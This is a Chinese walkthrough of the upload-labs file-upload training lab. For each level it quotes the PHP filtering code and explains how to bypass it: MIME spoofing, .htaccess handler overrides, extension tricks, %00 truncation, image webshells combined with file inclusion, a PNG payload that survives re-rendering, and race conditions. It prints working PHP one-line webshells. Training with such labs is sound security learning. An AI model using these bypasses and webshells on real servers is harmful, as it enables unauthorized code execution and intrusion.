upload-labs 0.1 靶机详解

news2024/10/5 20:24:22

下载地址
https://github.com/c0ny1/upload-labs/releases

Pass-01



他让我们上传一张图片,我们先尝试上传一个php文件

发现他只允许上传图片格式的文件,我们来看看源码
我们可以看到它使用js来限制我们可以上传的内容
但是我们的浏览器是可以关闭js功能的,我们可以在浏览器的设置中关闭浏览器的js功能
重新加载之后我们进行上传

我们可以看到我们的上传成功了

我们复制图片的地址访问我们上传的php文件

成功访问并且执行了php代码
我们尝试构建一句话木马然后上传

<?php eval($_POST['1']); ?>

这是我们构建的最简单的一句话木马,注意这个一句话木马很容易被杀毒软件识别并将我们的php文件删除因为eval()被认为是一个危险函数
 

<?php $_GET[0]($_GET[1]); ?>

如果上述文件被识别的话我们可以这样写,我使用的是第一种
我们使用蚁剑进行测试

具体的连接测试请看这篇文章:
接下来我直接使用phpinfo()进行测试上传成功即可

Pass-02

我们继续上传我们的php文件

但是很明显不行

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        //这里呢它是在检测文件的类型
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            //它创建一个临时文件
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']   
            //将临时文件复制到正常的文件中         
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

我们经过分析源码呢知道了它在检测我们的文件类型
我们可以使用burpsuite进行抓包更改它的文件类型 

我们将这里的文件类型改为image/jpeg然后放包

成功上传

Pass-03


我们继续上传后发现它这次好像是将我们的可执行文件加入了黑名单

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

我们看到源码看起来好像没什么问题过滤了我们的可执行文件
但是呢我们的apache有一个特性在某些特定的版本中它会有这样一段代码

它的意思呢是告诉apache将哪写后缀作为php解析
所以我们可以将我们的后缀写为php1,php3,php4等然后就可以成功上传了

Pass-04

先上传看提示

貌似看不出来什么问题我们看源码
 

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

我们发现它将我们所有可能的后缀都加入了黑名单包括大小写,其实它将大小写加入黑名单多此一举因为它使用函数将我们的文件名转为了小写
那么现在怎么办呢?

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
.htaccess文件可以的事情,主要包括:文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,等等。
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

它有很多参数这里我们需要用到
Sethandler application/x-httpd-php   将该目录及子目录的所有文件均映射为php文件类型。
我们就按照查询到的结果将我们的文件内容和名字进行更改

我们先进行上传上传成功后然后将我们的一句话木马的文件后缀改为它让通过的文件类型

访问上传的文件

可以执行php代码

Pass-05

很显然它一定会把我们的.hatccess过滤掉,所以我们直接看源码
 

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

如果仔细看过前几关的源码你会瞬间发现问题,他这关没有过滤我们的大写
所以我们直接将我们的后缀名改为大写即可

Pass-06

查看源码
 

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

对比上一关没有收尾去空
所以我们给我们的文件后缀名加上空格我们来试试
我们将空格加在后缀名的后边

上传失败,可能不是这么用的我们加在中间

上传成功了但是没有解析
这是因为windows的特性会将我们的后缀的空格去掉所以我们使用抓包

在我标记的地方添加空格即可上传成功

Pass-07

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

 查看源码与之前代码相比少了删除末尾的点
所以怎么做应该显而易见我们先试试

其实在我们更改文件后缀的时候我们就发现,改过之后文件末尾的点怎么好像是消失了
是不是和空格一样会被windows删掉,不知道百度一下果然如此,所以我们继续抓包

末尾加点之后成功上传

Pass-08

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

查看源码发现没有过滤::$DATA
继续抓包修改文件名

上传成功

Pass-09

查看源码可以看到它将之前所有的注入点全部添加上了,但是仔细看过之后它好像没有循环验证,每个点只验证了一次,所以按照他的步骤他先删除了一个点然后转小写去除$DATA字符之后删除空格,反推一下我们可以写成php. .,他过滤完之后剩下的就是php.然后就正常上传windows的特性会帮我们删除最后一个点,所以文件后缀就剩下php
话不多说开始抓包

可以看到是成功上传的

上传的文件也和预期的一样

Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    //它先看了一下是否存在文件路径
    if (file_exists(UPLOAD_PATH)) {
        //创建一个数组,其中包含不允许上传的文件扩展名列表
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
        //从上传的文件信息中获取文件名
        $file_name = trim($_FILES['upload_file']['name']);
        //将含有特殊文件名的文件名替换成空
        $file_name = str_ireplace($deny_ext,"", $file_name);
        //获取上传文件的临时文件名
        $temp_file = $_FILES['upload_file']['tmp_name'];
        //构建文件上传后的路径,将上传目录和文件名拼接在一起。
        $img_path = UPLOAD_PATH.'/'.$file_name;  
        //移动临时的文件到目标路径  php的上传特性   
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

分析源码后可以看到它将文件扩展名替换成了空,但是它允许我们上传。
是不是直接双写就可以绕过呢
试试呗 写成这样他从前往后看将php去掉

可以看到上传成功

Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    //定义一个白名单
    $ext_arr = array('jpg','png','gif');
    //先获取文件名,然后截取后缀
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    //判断有没有在白明单中
    if(in_array($file_ext,$ext_arr)){
        //获取临时文件名
        $temp_file = $_FILES['upload_file']['tmp_name'];
        //定义一个get传参,将临时文件进行重命名,重命名以后将后缀拼上
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

分析代码看起来好像没什么问题他用的白名单很难绕过,这怎么办?
这里就要引入一个新的知识叫做 00截断
00截断就是用户在url输入中输入包含%00经过浏览器解码后会自动转码将后面的字符截断
比如url输入1.php%00.jpg经过url转码后会成为1.php\000.jpg
php解析时会将文件解析为1.php将后面的字符截断
为什么会出现这样的现象因为php的底层语言使用的是C语言而C语言中的结束符就是 \0
由于这个漏洞危害过高,所以只能在5.2版本中使用,之后的版本都已经修复
这里源码的这一段也很重要

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

先抓包看看

可以看到它通过get传参接收到../upload/这样的一个路径
可以这样写../upload/2.php它经过上边的代码之后
就会是upload/2.php/随机数时间.我们的文件后缀  这样的一个路径
我们在upload/2.php%00/随机数时间.我们的文件后缀
等于是上传后变成了upload/2.php

if(move_uploaded_file($temp_file,$img_path)){

然后看这段代码,它在干什么
它将我们临时文件中的内容,重新复制到了2.php中
还是一样试一试

上传成功

Pass-12

分析源码看到它将上一关的get传参变为了post传参
其实方法是一样的,唯一的区别就是post不会进行解码,所以我们要先对%00进行url编码
抓包

上传成功

Pass-13

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = ''; 

看看他写的这个函数,他读取了文件的前两个字节,用来判断上传的是什么格式的,因为不同图片格式的开头的前两个字节就代表了这个图片的格式,

在这里我们也可以看到他给了我们提示用图片马进行绕过,那你就用呗
先找一张jpg格式的图片,再准备一个写入了php代码的文件

使用windows的cmd直接将php文件中的二进制内容复制到图片中生成新的图片

可以看到已经写入图片文件中虽然图片显示的内容不是正常的但是依然可以打开

上传成功

这里还需要用到文件包含漏洞
这四个函数保护

include 包含   include_once包含一次

require 引入   require_once引入一次
他们有一个最终要的特性是,他包含的所有文件都会被当作php文件进行解析
这里呢源码中给我们准备了一个用于测试文件包含的php文件,一般情况下是没有人会这么写的
因为文件包含是不可能让用户控制的,这是非常危险的,但是既然他给了我们就用他给的测试一下

他的源码是这样的,使用get传参去接收我们的文件

可以看到它将上传的jpg格式的文件解析了

Pass-14

这关他使用getimagesize函数读取文件十六进制的前几个字符串,所以这关依然可以使用上一关的方法

Pass-15

分析源码看到他使用exif_imagetype函数判断一个图像的类型
这看起来没有什么意义,因为使用图片马上传的本身就是他规定格式内的文件
所以依然使用相同的 方法

Pass-16


这里他使用了imagecreatefromjpeg imagecreatefrompng imagecreatefromgif 这三个函数

意思就是改变了图片中关键地方的代码,将图片二次渲染如果使用前几关的方法我们的代码会被打乱或删除
怎么办呢?
这里先尝试gif因为png和jpg的格式比较复杂
先将一张gif图片上传,然后将上传后的图片下载下来
我使用的是010editor

使用010editor打开下载的图与原图进行比较看看哪些地方没有被改动

在这里去找点击Match去找,去蓝色区域表示是相同的,就代表这这里的区域在它二次渲染的时候没有被动过

可以仔细找找尽量在00区域去写,这样能尽可能避免的损坏图片,完成后保存上传
之后下载下来再看,看看php语句是否完整

很好一次成功

尽量多去尝试,因为有可能会失败,将我们的语句打乱。
他要求三种格式都实现大家可以自己去试试,反正我很少成功
这里有国外的大神写的代码可以直接拿来用
upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)
 

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

将这串代码运行可以看到生成了一个png文件

上传后下载下来看看

可以看到里面确实有一句话木马我们测试一下
因为他写的是一句话木马所以我们需要进行get和post传参

很明显成功了 就演示这么多剩下的jpg可以看着自己去尝试

Pass-17

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    //上传文件
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    //将临时文件移动到目标路径,如果移动成功,则继续执行后续代码。
    if(move_uploaded_file($temp_file, $upload_file)){
        // 检查上传文件的扩展名是否在允许的扩展名数组中。没有就删除
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

分析代码,可以看到你可以上传文件,但是他会直接将后缀不符合的文件进行删除
这怎么办?利用条件竞争
怎么做?  我们可以看到它先将文件上传之后再判断了文件后缀然后删除,众所周知代码是按顺序执行的,他既然上传了就会在服务器存在一段时间,所以可以在它删除之前访问上传的文件
这有什么用?  php可以创建文件并写入内容的,如果在上传的文件中写入创建一个文件并写入php代码,我们是不是就可以绕过它,它虽然将我们传入的文件删除了,但是我们在它删除之前已将新的php文件生成
开始尝试

写入生成文件的php代码并且生成在上一级
使用burpsuite抓包 把包放在爆破模块中



爆破的时候我们可以打开它的upload文件并疯狂刷新

可以看到文件确实上传了上去,一瞬间就会消失,我们就是要访问它
我们已经知道它具体在哪个文件下,并且也知道文件名开始爆破后只需要疯狂访问就行

出现报错的时候就证明访问到了,这里手速太快总是刷新过头,所以没截到图
如果发现没有上传成功有可能是没有执行权限



现在就尝试访问,看看php文件有没有执行

可以看到确实执行了

Pass-18

这关上传文件时文件不能被上传到upload中,所以打开本关的myupload.php文件
在这里改一下

之后保存重新进入一下18关即可

分析源码可以看到这关是验证了文件的后缀,可以使用和13关一样的方法即可绕过 

虽然可以绕过但是它考察的肯定不是这里可以在源码中看到它的白名单中有很多无关的后缀
这根本和上传图片好像没有什么关系

百度了一下发现这是个中间件解析漏洞。

apache未知后缀解析漏洞,有点像nginx解析漏洞

参考:文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争_upload-labs第19关-CSDN博客

这是一个由于apache配置错误引发的漏洞
先抓包试一下

将后缀改为zip

在upload文件中看到文件有未改名和改名的文件可以尝试访问这个未重命名的文件

并没有解析文件而是下载文件
再来尝试改后缀它白名单中允许了很多后缀

上传成功并且也有未重命名文件

成功访问并解析

为什么会出现有没有被重命名的文件并且成功上传的文件只有几个?
代码使用time() 函数返回的时间戳作为重命名后的文件名,time() 函数返回的时间戳通常只精确到秒级别,如果用户在同一秒内点击上传按钮,它们生成的时间戳将是相同的,进行重命名时就会冲突失败。

快速点了三次(一秒内)发送就可能导致以下情况:

第一个请求成功上传和重命名了一个文件。
第二个请求上传了一个文件,但因为重命名冲突失败。
第三个请求可能遇到相同的问题,因此也无法重命名文件。
每个请求原文件名都是一样的,所以重命名失败后第三个覆盖第二个
最后保存的文件就只有两个,分别是第一个请求和最后一个请求

Pass-19


可以看到这关多了一个保存文件名称
查看源码看到它没有对上传的文件名做判断只对用户输入的文件名做了判断
move_uploaded_file()这样一个函数,它有一个特性,会忽略到文件末尾的/.
直接上传我们的php文件并抓包

修改提交的文件名后缀


上传成功并成功解析

Pass-20

分析源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";

empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;

三运运算符:(expr1) ? (expr2) : (expr3);  如果条件expr1 成立,执行expr2,否则执行expr3;

end函数:将内部指针指向数组最后一个元素并输出;

reset函数:将内部指针指向数组第一个元素并输出;

  if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

在这里它先判断这个文件名是不是一个数组如果不是就将文件名以点进行分割成为了[‘1’,'jpg']
然后使用end函数将最后的后缀拿出来比对黑名单
所以可以在上传的时候将文件名直接上传为数组['1.php','jpg']
它会认为这是一个数组[‘1.php',‘jpg’]
它将最后一个元素也就是jpg拿走比对白名单时就可以绕过

$file_name = reset($file) . '.' . $file[count($file) - 1];

在这里它使用resrt函数将数组中的第一个元素拿出来用点与数组中的最后一个元素拼接
就是说如果我们上传的时1.jpg那么我们的数组就时['1'[0],'jpg'[1]]
它拿出第一个元素也就时0号元素1然后获取数组长度为2,使用数组长度减一 2-1=1,将1号元素拿出来最后拼接成为1.jpg
怎么绕过?
上传的数组时需要上传为['1.php'[0],'jpg'[2]],这样它拿出的第一元素为1.php,第二元素使用数组长度减一2-1=1,但是我们的数组中没有1号元素,所以$file_name中就存储了1.php.,但是windows的特性会自动删除后边的点
开始上传

将save_name更改为数组形式,更改文件类型

可以看到成功上传

成功访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1526848.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【开发】SpringBoot 整合 Redis

目录 前言 1. Redis 的下载及安装 1.1 Redis 的下载 1.2 安装 Redis 1.3 启动 Redis 2. 创建 SpringBoot 项目整合 Redis 2.1 环境要求 2.2 SpringBoot项目构建 2.2.1 方式一 2.2.2 方式二 2.3 在 pom.xml 文件中导入依赖坐标 2.4 在 application.properties 中加…

解释器模式(Interpreter Pattern)

解释器模式 说明 解释器模式&#xff08;Interpreter Pattern&#xff09;属于行为型模式&#xff0c;是指给定一门语言&#xff0c;定义它的语法&#xff08;文法&#xff09;的一种表示&#xff0c;并定义一个解释器&#xff0c;该解释器使用该表示来解释语言中的句子。是一…

CVX安装新版本Mosek求解器

在使用连续凸近似&#xff08;SCA&#xff09;求解优化问题时遇到了报错 Problem status : ILL_POSED Solution status : PRIMAL_ILLPOSED_CER并且最后给出的结果为NaN。 在CVX论坛中找到一条回答 具体链接如下&#xff1a; The status is failed 因为我使用的是CVX自带的…

批量查询快递信息,固乔助手助您高效处理

在物流、供应链等行业&#xff0c;每天都需要处理大量的快递信息。无论是物流公司还是供应链企业&#xff0c;都需要实时掌握每一个包裹的状态和位置。然而&#xff0c;当面对成千上万的快递单号时&#xff0c;如何高效地查询这些信息成为了一个亟待解决的问题。 传统的查询方式…

IDEA直接打包Docker镜像

以下为使用IDEA打包Docker镜像并推送到远程仓库&#xff08;使用Windows打包Docker镜像并推送到远程仓库&#xff09;教程 1 安装Docker Desktop 下载地址&#xff1a;https://www.docker.com/products/docker-desktop/ 安装成功后&#xff0c;可在cmd查看版本号 2 启动Do…

Machine Learning ---- Feature Scaling

目录 一、What is feature scaling:&#xff1a; 二、Why do we need to perform feature scaling? 三、How to perform feature scaling: 1、Normalization: 2、Mean normalization: 3、Standardization (data needs to follow a normal distribution): 一、What is featur…

膨胀 卷积

1.作用 Dilated convolution、Atrous convolution 增大感受野保持原输入大小 2.膨胀因子 描述的是相邻元素之间的距离 r 2 3.gridding effect 不合理的多个膨胀卷积之前&#xff0c;设计的膨胀因子不合理导致&#xff0c;在增大感受野的同时丢失了细节信息。 丢失&…

【SpringCloud】使用Seata实现分布式事务

目录 一、Seata 框架的需求背景二、Seata 事务模式与架构2.1 Seata 组成2.2 Seata 事务模式 三、Seata 实战演示3.1 部署 Seata Server3.1.1 下载 Seata Server3.1.2 更改 Seata Server 配置3.1.3 创建 Seata Server 所需的数据库、数据库表3.1.4 启动 Seata Server 3.2 Seata …

判断闰年(C语言)

一、运行结果&#xff1b; 二、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>int main() {//初始化变量值&#xff1b;int year 2000;//执行循环判断&#xff1b;while (year < 2010){//执行流程&#xff1b;//判断能否整除4&#xff1…

十二、CyclicBarrier

CyclicBarrier 栅栏 什么时候满了开始发车 CyclicBarrier barrier new CyclicBarrier(20, () -> System.out.println("满人"));满20人开始发车每一个线程到达 barrier.await();都等着当 barrier.await();到达20人就开始往下执行 &#xff0c;发车 public…

struts2 CVE-2021-31805-struts2 s2-061 ONGL远程代码执行复现

复现&#xff1a; 切换到vulhub开启并且查看靶场的端口 访问页面 我们可以输入下面的命令来测试一下&#xff0c;执行6*6&#xff0c;查看源代码发现可以成功运行 接下来我们可以注入下面的payload来进行代码执行&#xff0c;执行id来查看当前用户 POST / HTTP/1.1 Host: x.x.…

探索Spring中的属性注入:@Value注解解析与应用

探索Spring中的属性注入&#xff1a;Value注解解析与应用 探索Spring中的属性注入&#xff1a;Value注解解析与应用摘要引言正文作用代码准备示例注入字符串注入属性注入Bean及其属性 其他属性注入优先级问题对Value属性注入的扩展Spring Boot对Value类型转换的扩展 代码案例演…

【GameFramework框架内置模块】8、文件系统(File System)

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址 大家好&#xff0c;我是佛系工程师☆恬静的小魔龙☆&#xff0c;不定时更新Unity开发技巧&#xff0c;觉得有用记得一键三连哦。 一、前言 【GameFramework框架】系列教程目录&#xff1a; https://blog.csdn.net/q7…

代码随想录算法训练营第二十七天(第二十六天休息)|40.组合总和II

40.组合总和II 题目 给定一个数组 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数字在每个组合中只能使用一次。 说明&#xff1a; 所有数字&#xff08;包括目标数&#xff09;都是正整数。解集…

Android 开发环境搭建(Android Studio 安装图文详细教程)

Android Studio 下载 https://developer.android.google.cn/studio?hlzh-cn Android Studio 安装 检查电脑是否启用虚拟化 如果没有开启虚拟化&#xff0c;则需要进入电脑的 BIOS 中开启 直接 next选择安装的组件&#xff0c;Android Studio 和 Android 虚拟设备&#xff…

使用蜂鸟地图完成楼层自定义、房间着色、热力图、添加图片覆盖物、添加dom覆盖物、定位到固定区域的中心点

项目里有用到蜂鸟地图的地方&#xff0c;虽然有跟她们对接&#xff0c;但看他们文档也挺费劲的&#xff0c;要自己慢慢研究好久&#xff0c;有些实在研究不出来让他们帮忙看代码发现一些问题&#xff0c;所以把我发现的需要注意的一些点发上来&#xff0c;希望可以帮助到部分有…

深入探讨ChatGPT:技术突破与应用前景

目录 一、ChatGPT究竟是什么&#xff1f; 二、ChatGPT的发展脉络 三、ChatGPT的突出优势 强大的语言生成能力 多场景适应性 多语言处理能力 广泛的应用范围 数据敏感性的重视 四、结语&#xff1a;ChatGPT的未来与挑战 Tips&#xff1a;国内的ChatGPT ⭐ 点击进入Chat…

【GIS系列】GeoTools简介及工具类分享

本文将对GeoTools相关概念进行介绍&#xff0c;同时会给大家分享我工作中用到的工具类及使用方法。 作者&#xff1a;后端小肥肠 目录 1.前言 2. GeoTools简介 3. Geotools使用示例 3.1. 开发环境搭建 3.1.1. 所需版本和工具 3.1.2. pom依赖​​​​​​​ 4. 工具类介绍…

为什么不用 index 做 key 引出的 Diff 算法

文章目录 问题分析 问题 大家耳熟能详的最常见的问题就是 为什么不用 index 做 key &#xff0c;在刚开始学习的时候&#xff0c;只是知道在 v-for 做循环遍历的时候需要加上唯一标识 key&#xff0c;但好像都是这么写的 v-for"(item,index) in dictList" :key"…

IT系统可观测性

什么是可观测性 可观测性&#xff08;Observability&#xff09;是指能够从系统的外部输出推断出系统内部状态的能力。在IT和云计算领域&#xff0c;它涉及使用软件工具和实践来收集、关联和分析分布式应用程序以及运行这些应用程序的硬件和网络产生的性能数据流。这样做可以更…